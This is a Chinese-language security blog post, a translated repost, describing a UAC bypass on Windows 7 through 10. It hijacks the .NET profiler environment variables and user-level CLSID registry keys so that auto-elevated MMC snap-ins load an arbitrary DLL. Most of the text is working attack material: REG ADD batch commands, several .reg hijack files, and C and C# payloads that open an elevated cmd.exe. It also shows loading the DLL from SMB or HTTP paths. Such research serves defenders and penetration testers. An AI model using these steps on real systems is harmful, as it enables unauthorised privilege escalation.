安全路透社
当前位置:安全路透社 > 网络转载 > 正文

如何通过.NET程序绕过UAC

.NET Framework可以通过用户定义的环境变量和CLSID注册表项加载profiler DLL或者是COM组件DLL,进程权限提升时甚至也是一样。所以通过利用自动提权.NET进程(如MMC管理单元)加载任意DLL的行为,在Windows 7到Windows 10(包括最新的RS3版本)的默认设置中绕过UAC。

介绍

简略介绍一下:去年五月,Casey Smith在推特博客上指出.NET profiler DLL的加载可能被滥用,以至于使合法的.NET应用程序会通过环境变量加载恶意DLL。

看到这个的时候,我首先想到的是“如果这个对提升过权限的.NET应用也有用,那么就绝对是个绕过UAC的好方法”。事实上确实是这样。

这个问题由Stefan Kanthak发现,且由他报告和发表。不过虽然自七月就已经被公开,但我写这篇文章的时候问题依然没有被修复,甚至现在都依然如此。

绕过UAC

要使.NET应用程序加载任意DLL,我们可以使用以下环境变量:

COR_ENABLE_PROFILING=1
COR_PROFILER={GUID}
COR_PROFILER_PATH=C:\path\to\some.dll

在4以下的版本,CLSID必须通过包含profiler DLL路径的注册表键HKCR\CLSID{GUID}\InprocServer32进行定义,在最新版本中,CLR使用COR_PROFILER_PATH环境变量来查找DLL,如果未定义COR_PROFILER_PATH,则使用CLSID。

HKCR\CLSID是HKLM和HKCU中Software\Classes\CLSID的组合,在HKLM(或Mechine级环境变量)中创建CLSID键需要提权,但在HKCU中则不需要,需要注意的是,如果是user级别的环境变量和注册表项,那么也会有用。

现在我们只需要一个自动提权的可执行文件(在默认设置下没有UAC提示符),并使用.NET CLR加载虚假profiler DLL。MMC是个不错的选择,在测试中,我使用gpedit MMC,不过还有其他可用的(稍后会有例子)。

如批处理一样简单,让其工作起来:

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
mmc gpedit.msc

在低权限环境下,这些命令会通过高权限进程mmc.exe加载C:\Temp\test.dll (如果存在的话)。

这允许在Windows 7到Windows 10的默认设置(包括本文中最新的RS3版本)中的UAC绕过。

如何通过.NET程序绕过UAC

点击这里查看】嵌入DLL的PowerShell PoC(仅限64位)

DLL只是在DLL_PROCESS_ATTACH上运行cmd.exe,产生一个提权过的shell,然后立即退出当前进程,以防止MMC控制台弹出:

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)

{

    char cmd[] = "cmd.exe";

    switch (fdwReason)

    {

    case DLL_PROCESS_ATTACH:

        WinExec(cmd, SW_SHOWNORMAL);

        ExitProcess(0);

        break;

    case DLL_THREAD_ATTACH:

        break;

    case DLL_THREAD_DETACH:

        break;

    case DLL_PROCESS_DETACH:

        break;

    }

    return TRUE;

}

在x64 Windows 7,8.1,10 1703和10 RS3版本16275中已测试。

当然,如果你有一个可访问的SMB共享,​​那么它也适用于UNC路径:

COR_PROFILER_PATH=\\server\share\test.dll

根本原因

COM以运行时高权限进程会阻止CLSID在用户注册表(HKCU)中查找,以防止绕过,但.NET运行时并不会,在这种情况下,会由后者执行查找。

如何通过.NET程序绕过UAC

如果要修复,CLR的检查需要和COM的相似。

其他载体

现在我们知道CLR是如何工作的,我们可以通过在堆栈中使用CLR调用,在HKCU中检查CLSID查找来找到其他实例。

“Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager” 组件(在我的虚拟机上,CLSID 是{B29D466A-857D-35BA-8712-A758861BFEA1} )

如何通过.NET程序绕过UAC

HKCR中的现有项似乎表明组件本身在CLR程序集中实现:

如何通过.NET程序绕过UAC

我们可以在用户注册表中定义一个COM项(.reg格式):

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]

@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]

@="C:\\Windows\\System32\\mscoree.dll"

"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"

"Class"="TestDotNet.Class1"

"RuntimeVersion"="v4.0.30319"

"ThreadingModel"="Both"

"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]

"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"

"Class"="TestDotNet.Class1"

"RuntimeVersion"="v4.0.30319"

"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId]

@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

然后,MMC将加载我们的托管DLL并尝试访问TestDotNet.Class1类。默认情况下,C#没有一个简单的方法来创建DLL入口点,如DllMain,但在注册表中引用的类似乎被加载了,所以我们可以使用一个静态构造函数来执行我们的提权代码:

using System;

using System.Diagnostics;

namespace TestDotNet

{

   public class Class1

   {

      static Class1()

      { 

         Process.Start("cmd.exe");

         Environment.Exit(0);

      }

   }

}

将DLL放在所定义的位置,运行gpedit.msc会出现一个提权的shell(这次是从一个.NET DLL)

如何通过.NET程序绕过UAC

如何通过.NET程序绕过UAC

该方法的一个有趣的地方是CodeBase参数并不限于本地文件和SMB共享,​​还可以从HTTP URL加载DLL:

"CodeBase"="http://server:8080/test_managed.dll"

要注意的是,下载的DLL会被复制到磁盘,所以该方法实际上比本地DLL(磁盘+网络)更容易被检测到。

另一件好事(对于攻击者来说):有多种CLSID可以这样被滥用。

以下可以与compmgmt.msc,eventvwr.msc,secpol.msc和taskschd.msc一起使用:

托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor组件

如何通过.NET程序绕过UAC

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]

@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]

@="C:\\Windows\\System32\\mscoree.dll"

"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"

"Class"="TestDotNet.Class1"

"RuntimeVersion"="v2.0.50727"

"ThreadingModel"="Both"

"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]

"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"

"Class"="TestDotNet.Class1"

"RuntimeVersion"="v2.0.50727"

"CodeBase"="file://C://Temp//test_managed.dll"

“NDP SymBinder”组件作为本地DLL,通过\Server项劫持:

如何通过.NET程序绕过UAC

Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]

@="NDP SymBinder"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]

@="C:\\Windows\\System32\\mscoree.dll"

"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\4.0.30319]

@="4.0.30319"

"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ProgID]

@="CorSymBinder_SxS"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server]

@="C:\\Temp\\test_unmanaged.dll"

“Microsoft Common Language Runtime Meta Data”组件作为本地DLL,通过\Server项劫持(仅限secpol.msc)

如何通过.NET程序绕过UAC

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]

@="Microsoft Common Language Runtime Meta Data"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32]

@="C:\\Windows\\System32\\mscoree.dll"

"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32\4.0.30319]

@="4.0.30319"

"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\ProgID]

@="CLRMetaData.CorRuntimeHost.2"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\Server]

@="..\\..\\..\\..\\Temp\\test_unmanaged.dll"

(注意:这里的路径必须是相对的,否则mmc.exe会尝试加载C\Windows\Microsoft.NET\Framework64\v4.0.30319\C\Temp\test_unmanaged.dll)

UAC并非安全防御

微软反复声明UAC不是安全边防,而安全人员通常以更实际的方式描述它:不要信任UAC,不用管理员权限时,使用非管理员账户,我非常同意这一点。

尽管如此,很多人还是以本地管理员身份运行,这些人理所当然成了渗透测试者和red teamer的目标。

作为渗透测试目的,我推荐来自@tiraniddo的更一般的方法(示例的实现点这里,另一个 即将发布),这种方法不需要DLL。

此外,如果你想深入了解UAC绕过,那么会有很多资源,以下是必读内容:

@enigma0x3‘s research (and his upcoming DerbyCon talk)

@tiraniddo‘s bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 & part 3

@hFireF0X‘s UACME project that implements most known UAC bypasses, and his posts on kernelmode

@FuzzySec‘s UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell

*参考来源:provadys,Covfefe编译

未经允许不得转载:安全路透社 » 如何通过.NET程序绕过UAC

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册